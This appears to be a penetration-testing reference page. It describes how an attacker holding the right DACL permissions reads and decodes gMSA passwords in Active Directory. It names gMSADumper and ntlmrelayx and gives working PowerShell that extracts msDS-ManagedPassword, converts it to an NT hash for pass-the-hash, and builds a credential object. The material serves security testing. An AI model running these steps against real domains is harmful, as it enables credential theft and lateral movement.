This abuse stands out a bit from other abuse cases. It can be carried out when controlling an object that has enough permissions listed in the target gMSA account's msDS-GroupMSAMembership attribute's DACL. Usually, these objects are principals that were configured to be explictly allowed to use the gMSA account.
The attacker can then read the gMSA (group managed service accounts) password of the account if those requirements are met.
On UNIX-like systems, gMSADumper (Python) can be used to read and decode gMSA passwords. It supports cleartext NTLM, pass-the-hash and Kerberoas authentications.
Alternative #1: Impacket's ntlmrelayx tool can be used to read and decode gMSA passwords. ⚠️ Some tests showed ntlmrelayx missed entries gMSADumper didn't.
In order to easily fake a relayed authentication, once the relay servers are up and running, the tester can browse http://127.0.0.1/ in order to trigger a basic authentication that will then be relayed by ntlmrelayx, like this.
Alternative #2: The msDS-ManagedPassword attribute can also be manually obtained by running the following Python script. The following code can then be used to decode the blob.
On Windows systems, there are multiple ways to read gMSA passwords.
The first one uses the Active Directory and DSInternals PowerShell modules.
# Save the blob to a variable
$gmsa = Get-ADServiceAccount -Identity 'Target_Account' -Properties 'msDS-ManagedPassword'
$mp = $gmsa.'msDS-ManagedPassword'
# Decode the data structure using the DSInternals module
ConvertFrom-ADManagedPasswordBlob $mp
# Build a NT-Hash for PTH
(ConvertFrom-ADManagedPasswordBlob $mp).SecureCurrentPassword | ConvertTo-NTHash
# Alterantive: build a Credential-Object with the Plain Password
$cred = new-object system.management.automation.PSCredential "Domain\Target_Account",(ConvertFrom-ADManagedPasswordBlob $mp).SecureCurrentPassword